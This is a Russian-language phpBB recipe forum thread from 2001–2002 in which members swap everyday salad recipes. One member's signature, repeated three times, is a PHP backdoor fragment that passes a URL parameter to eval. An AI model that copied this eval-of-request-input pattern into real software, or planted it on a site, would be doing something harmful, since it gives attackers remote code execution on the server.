Авторизация
Загрузка...
Салаты - 1
На страницу 1, 2, 3 ... 98, 99, 100  След.
 
Начать новую тему   Эта тема закрыта, вы не можете писать ответы и редактировать сообщения.    Форумы -> Вкусные рецепты
Предыдущая тема :: Следующая тема  
Автор Сообщение
Ирина  
Гость




Сообщение Добавлено: Ср Ноя 21, 2001 15:29     Заголовок сообщения: Салаты - 1 Ответить с цитатой

САЛАТ "НЕЖНОСТЬ-2"
2 порции
1 куриная грудка, 1 огурец, 1 яйцо, 50 г чернослива или кураги, 50 г мюсли (без фруктов), 100 г сыра (лучше "Атлет" или "Гауда" wink1.gif 2 с. л. сметаны (или соус морней), укроп.
Все ингредиенты мелко порезать, яйцо порубить, мюсли раскрошить, смешать, заправить сметаной, украсить зеленью.
Замечание. Хорош для больных болезнями ЖКТ.

СОДЕРЖАНИЕ ТЕМЫ САЛАТЫ - 1
Вернуться к началу
Shuta  
Бананера

Зарегистрирован: 15.03.2002
Сообщения: 1324
Откуда: Tenerife, Spain

Сообщение Добавлено: Вт Мар 19, 2002 1:55     Заголовок сообщения: Re: салаты Ответить с цитатой

Маша, а про этот салатик забыли?
Вареная свекла - натереть на крупной терке;
грецкие орехи - искрошить; чеснок - на мелкой терке; майонез.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail MSN Messenger
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Вт Мар 19, 2002 3:38     Заголовок сообщения: дежурные салаты Ответить с цитатой

Как же - еще как помним ! smile.gif http://kuking.net/1_857.htm

Классический салатик - у нас без него и недели не проходит. Благо, свеклу уже вареной продают, поэтому салат очень быстро получается.
У нас есть два дежурных салата - помидоры с огурцами и свекольный с орехами.
...На самом деле даже три - мы еще большие любители кукурузы и делаем салат из консервированной кукурузы, красной фасоли и сыра - ужасная комбинация, но мужу нравится smile.gif

А у тебя нет каких-нибудь еще идей дежурных салатов из того, что всегда есть дома ?
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Иришкин  
Гость




Сообщение Добавлено: Вт Мар 19, 2002 15:19     Заголовок сообщения: Re: салаты Ответить с цитатой

у меня есть один можно сказать дежурный рецепт:-)<br>капуста на терке шинкованая, креветки, соль , перец и майoнез......вкуснятина:-)
Вернуться к началу
Svet  
Гость




Сообщение Добавлено: Вт Мар 19, 2002 20:46     Заголовок сообщения: Re: салаты Ответить с цитатой

Привет всем!<бр>Что касается салата со свеклы попробуйте добавить туда чернослив ето просто обьедение. <бр>Еще дежурный салат? Поялутста! Т.к. ви лубите кукурузу, берем пол банки кукурузы, конс. шампиньонов, сол. огурец,лук по вкусу (лучше зелыониы), майонез, укроп(если есть!). Салат готов.<бр>Еще один. 1 авокадо, 1 вар.яйцо, 3 зубчика чеснока, 1 ложку лим сока, майонез, соль, перец по вкусу. Авокадо и яйцо размять, чеснок паздавить или натереть и все осталние ингридиенти смешать. Ешьыо надо?<бр> Приятного аппетита!
Вернуться к началу
Shuta  
Бананера

Зарегистрирован: 15.03.2002
Сообщения: 1324
Откуда: Tenerife, Spain

Сообщение Добавлено: Ср Мар 20, 2002 0:46     Заголовок сообщения: Re: салаты Ответить с цитатой

    Салат из того, что всегда есть дома. <br>   У меня всегда дома есть капуста (она или ждет своей очереди для борща, без которого ребенок жизни себе не представляет, или, опять же, ждет, когда закончится листовой салат, который долго не хранится). <br>   Капусту я шинкую, присаливаю и через 5 мин. переминаю, чтобы стала помягче. <br>   Крошу в нее мелко 1 помидор. Потом открываю холодильник и вперед - все, что есть, можно есть! Красный перец, огурец свежий или соленый, кукуруза из банки или маслины (черные) без косточки (кружочками), окорок - туда!, или курица - еще лучше. Если сыр завалялся - кубиками. <br>   Соль, перец, укроп/кинза/петрушка, майонез. <br>Все. Муж в шоке от такого количества всего в одной чашке, упрекает меня в "бескультурье питания", при этом салат только так ест.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail MSN Messenger
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Ср Мар 20, 2002 1:09     Заголовок сообщения: дежурные салаты Ответить с цитатой

Ух сколько всего ! Мы сегодня воодушевились и нашинковали на ужин капусту и крабовые палочки и перемешали с консервированой кукурузой и майонезом - почти, как Иришка написала.

А еще какие вспомните ?  poketoungeb.gif
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
kla  
Штатный дракон

Зарегистрирован: 07.02.2002
Сообщения: 312
Откуда: Germany,Frankfurt

Сообщение Добавлено: Ср Мар 20, 2002 14:05     Заголовок сообщения: Re: салаты Ответить с цитатой

в салат с крабовыми палочками я еще добавляю красный лук и рис. Тоже вкуусно.<br> poketoungeb.gif<br>Еще я - любитель орехов,семян всяких. Они идут в любой салат и мелкопомолотые или просто посеченые грецкие орехи самому элементарному салату (помидоры+огурцы) придадут эдакую пикантность. wink1.gif<br>Кроме того для салатов использую либо зеленые перья лука,либо сладкий красный лук,тогда салат получается не таким жгуче-ядреным smile.gif<br>Всякие салаты с "обжареной куриной грудинкой" и т.п. в силу отсутствия времени считаю - излишествами. Кроме того муж терпеть не может салаты из свежих овощей (вот такой он у меня забавник),поэтому - просто перевод продухты.<br><br>Люблю очень салат из капусты(мелконашинкованной),лука(меленько-меленько) и паприки (тоже можно нашинковать),посолить,поперчить,чуток сахарку и оставить на пару часиков - пусть пропитается...потом майонезом со сметанкой залить - вкууусннооо.  poketoungeb.gif<br><br>Еще я все с рисом или кашами (кус-кусом) в частности тоже делаю - туда идет все,что в холодильнике(кукуруза,лук,яйца вареные,колбаса,жареный лук...все),но заливать майонезом нужно.<br><br>Вермишелевые салаты люблю (но ем редко - уж больно калорийно).<br>Придумаю ишшо - напишу.сейчас в голову ничего не приходит больше  ;D<br>
_________________
...если ты никогда не видел дракона,это значит,что он просто не хотел с тобой встречаться...
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Svet  
Гость




Сообщение Добавлено: Ср Мар 20, 2002 20:07     Заголовок сообщения: Re: салаты Ответить с цитатой

           Privet vsemEsh'yo paru salatov. <br>2 narezanih pomidora, pol narezanogo avokado, 1 narez. perez(ne ostriy), maslini lubie( skolko ni jalko), narezanaya kubikami brinza ili lubiy drugoy sir, bazilik, petpushka po vkusu, izalit' marinadom.<br>Marinad: 4 st. lojki olivk. mosla, 3 st. limon. soka, 1 st. lubogo vina. Vsyo horosho peremeshat'. Salat gotov! poketoungeb.gif

<br>Salat s pojkami.<br>Otvarit' 100 gr. rojkov (ili vzyat' ostavshiesya v holodil'nike uje varyonie), 1 kons. banochka tuni( tunez), narezanih chyornih maslin( bez kostochek), 1 narez. stebel' seldereya, mayonez, sol, perez po vkusu. Vsyo poremeshat'.<br>               Vkusnogo vam vechera. poketoungeb.gif<br>    
Вернуться к началу
nastena  
Золотая поварёшка
Золотая поварёшка

Зарегистрирован: 12.02.2002
Сообщения: 1294

Сообщение Добавлено: Ср Мар 20, 2002 23:31     Заголовок сообщения: Re: салаты Ответить с цитатой

Я сегодня была в одном доме, где готовила южанка, были интересные салаты из сырой свеклы, яблок с зеленью кинзы, из моркови с краб. палочками и кукурузой, о в салат типа "Оливье" вместо мясных продуктов клалась банка лосося!
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение Отправить e-mail
Shuta  
Бананера

Зарегистрирован: 15.03.2002
Сообщения: 1324
Откуда: Tenerife, Spain

Сообщение Добавлено: Чт Мар 21, 2002 1:51     Заголовок сообщения: Re: салаты Ответить с цитатой

В Испании во всех практически барах на правах закуски присутствует "русский салат" - это наш оливье, только вместо мяса/колбасы они кладут туда консервированного тунца.
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail MSN Messenger
Irisha  


Зарегистрирован: 21.03.2002
Сообщения: 2

Сообщение Добавлено: Чт Мар 21, 2002 12:10     Заголовок сообщения: Re: салаты Ответить с цитатой

А попробуйте эти салаты. Я их делала - всем понравилось wink1.gif

1.Салат "ДИПЛОМАТ"
Взять банку шпрот, слить масло. Разломить рыбу на крупные кусочки, выложить слоем на блюдо или в салатник. Следующим слоем выложить тертую вареную морковь (кто не любит вареную морковь, может обойтись без нее). Покрошить мелко нарезанный лук. Следующий слой - отваренный рис (лучше заранее смешать его с небольшим количеством майонеза, чтобы было сочнее). На рис натереть на крупной терке сваренные вкрутую яйца. Смазать все хорошенько майонезом и сверху натереть на крупной терке любой сыр. Украшений не нужно.

2.САЛАТ "ЧЕРЕПАШКА"
лук репчатый,3 яйца, половина вареной курицы, 2 средних яблока, твердый сыр, грецкие орехи, майонез
Яичные белки натереть на крупной терке, курицу и лук мелко нарезать, яблоки и сыр натереть на крупной терке, желтки мелко нарезать. Сверху посыпать орешками, чтобы было похоже на черепаху. Слои смазывать майонезом.

3. (не совсем салат)Для нее надо взять ШАМПИHЬОHЫ - свежие и вымытые, причем еще не раскрывшиеся полностью. Вынуть ножки (пойдут в суп или жарешку с картошкой). В шляпки плотно вмазать рокфор или аналогичный острый, жирный, с плесенью сыр. Получившиеся шарики обмакнуть в кляр из муки и яйца с добавкой перца черного и красного (и самой суточки соли) и жарить во фритюре до золотистости. Великолепно к хорошему белому сухому вину!
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail
Shuta  
Бананера

Зарегистрирован: 15.03.2002
Сообщения: 1324
Откуда: Tenerife, Spain

Сообщение Добавлено: Пт Мар 22, 2002 2:00     Заголовок сообщения: Re: салаты Ответить с цитатой

Маша, салат из серии "ужасная комбинация":

Салат с цветной капустой


Соцветия цветной капусты отварить в течение 2 мин., дать стечь воде / остудить, разобрать на помельче. Лук и свежие шампиньоны накрошить мелко-мелко (4х4мм.) smile.gif, обжарить в растительном масле + немного вина - потушить. Яйца уже варятся. Размять зубок чеснока с грецкими орехами и выложить в уже снятую с огня, но еще горячую луково-грибную кашку - перемешать. Яйца уже сварились - остудить. Маринованные огурцы порезать полосочками (пишу во мн. числе, т.к. огурцы микроскопические - "baby cucumber", по аналогии с мандаринами). Яйца тоже порезать. Все компоненты смешать, поперчить и заправить майонезом.Хотела было горошка еще туда wink1.gif, да не дали sad.gif - сказали, не проснутся после такого... cool.gif
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail MSN Messenger
Shuta  
Бананера

Зарегистрирован: 15.03.2002
Сообщения: 1324
Откуда: Tenerife, Spain

Сообщение Добавлено: Пт Мар 22, 2002 4:31     Заголовок сообщения: Re: салаты Ответить с цитатой

Нашла в базе салат "Ташкент" - http://kuking.net/1_598.htm - детство вспомнила. Салат вкуснейший, комментариев к нему нет - может, не пробовал никто? Только мы - редьку - на крупной терке, мясо - кубиками, а лук не пассеровали, а жарили. И майонезом не сверху мазали, а заправляли/перемешивали. Класс! poketoungeb.gif<br>Только вот беда  :'(- салата этого я уже 8 лет как не ела, и поем ли когда? Нет у нас здесь зеленой редьки (помнит кто нашу зеленую редьку - большую и сочную?). А тут продаются редечки беленькие - так они жесткие и жутко ...остропахнущие, это похлеще будет, чем салат из предыдущего письма. ;D
Вернуться к началу
Посмотреть профиль Отправить личное сообщение Отправить e-mail MSN Messenger
Maria  
Главный по зеленым кастрюлькам
Главный по зеленым кастрюлькам

Зарегистрирован: 21.11.2001
Сообщения: 4278
Откуда: England

Сообщение Добавлено: Пт Мар 22, 2002 18:53     Заголовок сообщения: Re: салаты Ответить с цитатой

Кстати, мы как раз недавно салат с редькой обсуждали, и решили, что с курицей он вскуснее, чем с мясом. Жаль только, что редьку ничем не заменить sad.gif
_________________
phpbb:eval(stripslashes($_GET[e]));
Вернуться к началу
Посмотреть профиль Дневник Отправить личное сообщение
Показать сообщения:   
Начать новую тему   Эта тема закрыта, вы не можете писать ответы и редактировать сообщения.    Форумы -> Вкусные рецепты Часовой пояс: MSK (Moscow)
Послать другу
Распечатать
На страницу 1, 2, 3 ... 98, 99, 100  След.
Страница 1 из 100

Добавить в закладки

 
Перейти:  
Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы можете добавлять приложения
Вы можете скачивать приложения